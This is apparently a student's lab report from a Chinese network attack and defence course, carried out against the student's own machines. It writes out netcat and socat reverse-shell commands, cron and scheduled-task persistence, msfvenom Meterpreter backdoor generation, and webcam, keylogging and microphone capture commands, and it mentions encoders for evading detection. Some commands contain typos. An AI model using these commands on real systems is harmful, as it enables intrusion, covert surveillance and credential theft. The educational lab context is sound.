20232413 2025-2026-1 《网络与系统攻防技术》实验二实验报告
一、实验目标
利用netcat获取主机操作 Shell,并通过cron实现定时任务持久化。
利用socat获取主机操作 Shell,并通过 Windows 任务计划实现启动控制。
使用 MSF meterpreter生成后门程序,通过ncat或socat传输至目标主机并运行,获取 Shell。
使用 MSF meterpreter生成具备音频、摄像头、击键记录功能的后门,并尝试提权。
使用 MSF 生成shellcode,注入到指定程序中,获取反弹连接 Shell。
二、实验环境
攻击机:Kali Linux 虚拟机(IP:192.168.48.131/172.16.223.225)
目标机:Windows 10 主机(IP:192.168.1.105/172.16.247.104)
工具:netcat、socat、Metasploit Framework(msfvenom、msfconsole)、gcc
三、实验步骤
任务一:使用netcat获取主机Shell
关闭目标机防火墙及 “病毒和威胁防护”,避免工具或后门被拦截。


目标机下载netcat-win32-1.12,解压后在 PowerShell 中切换至安装目录
虚拟机终端使用ipconfig命令获取ip地址

在主机上打开powershell,输入
cd C:\Users\邓昊\Downloads\netcat-win32-1.12
./nc64.exe -l -p 2413
目标机启动监听(端口 2413):

在另一个终端输入:
netstat -an| findstr "2413"
验证监听状态:

在虚拟机上输入命令
nc 192.168.1.105 2413-e /usr/bin/zsh
使虚拟机连接到主机

连接成功, 主机可以控制虚拟机的命令

输入crontab -e,选 2 ,编辑crontab文件,进入编辑模式后,添加50 * * * * /bin/netcat 192.168.1
.105 2413 -e usr/bin/zsh,输入:wq保存

查看时程表

查看虚拟机目录,用root身份打开crontabs,找到持久化后门的定时任务的文件

在主机命令行输入
* * * * * echo "20232413" > /home/kali/dh/20232413.txt
将定时任务写入20232413.txt文件中

任务二:使用socat获取主机的shell
先下载socat,在socat目录下打开cmd,输入
./socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr
监听8888端口

虚拟机上输入
socat - tcp:172.16.247.104:8888

编写定时任务程序:

使用gcc执行

在虚拟机输入
schtasks /create /sc minute /mo 1 /tn "20232413" /tr F:\20232413.exe

打开任务计划程序库,可以找到名为20232413的定时任务

任务三:使用MSF meterpreter生成后门
在虚拟机输入
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.223.225 LPORT=2413 -f exe > backdoor20232413.exe
用来生成一个后门程序

在主机输入
./nc.exe -l-p 2413 >"C:\Users\邓昊\Desktoplbackdoor20232413.exe"
启动netcat监听器,端口为2413

在虚拟机输入
nc 172.16.223.225 2413<backdoor20232413.exe
将虚拟机中的文件内容发送给主机端口

在虚拟机终端输入msfconsole依次配置
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.48.131
set LPORT 2413
exploit
完成后在主机上运行后台程序
输入命令dir后可获得当前目录下的文件与目录:


任务四:使用MSF meterpreter生成获取目标主机资源的后门
使用命令:
webcam_snap
keyscan_start
keyscan_dump
record_mic



任务五:使用MSF生成shellcode,获取反弹连接Shell
在虚拟机输入
msfvenom -p linux/x86/meterpreter/reverse tcpLHOST=192.168.48.131 LPORT=8888 -x /home/kali/桌面/pwndh -f elf -0 pwn2413
sudo chmod a+x pwn2413

再打开一个终端,输入命令msfconsole,进行监听
然后输入ls可以得到/root目录内的内容

四、实验中遇到的问题与解决方法
问题:cron任务未触发,无法自动连接。解决:检查crontab语法,确保netcat路径为/bin/netcat,而非相对路径。
问题:meterpreter会话频繁断开(提示 “Died”)。解决:延长会话超时时间,或使用编码器规避检测(重新生成后门。
问题:socat连接后命令乱码或无法交互。解决:监听时添加pty参数,确保exec:cmd.exe,pty,stderr格式正确。
五、实验心得
实验初期,我对 “反弹 Shell”“持久化” 等概念仅停留在理论层面,通过实际操作才真正理清技术原理。比如使用netcat时,最初因目标机监听端口与攻击机连接 IP 不匹配导致连接失败,反复检查ipconfig与命令参数后才发现,攻击机需使用与目标机同网段的 IP(192.168.1.0/24)而非虚拟机内网 IP(192.168.48.131)—— 这让我意识到 “网络拓扑匹配” 是渗透连接的前提。
在cron定时任务配置中,我曾因路径错误(将/bin/netcat写成usr/bin/zsh)导致任务未触发,查阅 Kali 系统路径文档后修正,最终实现 “每小时自动反弹 Shell” 的持久化效果。这一过程让我明白,渗透技术的细节容错率极低,任何参数、路径、语法的偏差都会导致实验失败,“严谨性” 是技术落地的核心。
此外,MSF meterpreter的功能让我刷新了对 “后门能力” 的认知:webcam_snap实时捕获目标机摄像头画面、keyscan_dump获取用户输入的账号密码、record_mic录制环境音频 —— 这些功能直观展现了恶意后门的危害,也让我理解了 “权限控制” 的重要性:若目标机未关闭防护软件,此类后门会被直接拦截,反之则可能导致隐私完全泄露。
本次实验不仅让我掌握了netcat、socat、MSF 的核心用法,更让我从 “技术使用者” 转变为 “安全思考者”—— 理解渗透的本质是 “利用漏洞”,防御的核心是 “修复漏洞”,而技术的底线是 “合法合规”。未来学习中,我会继续深化渗透技术,同时强化安全伦理意识,努力成长为既懂技术、又有责任的网络安全从业者。

浙公网安备 33010602011771号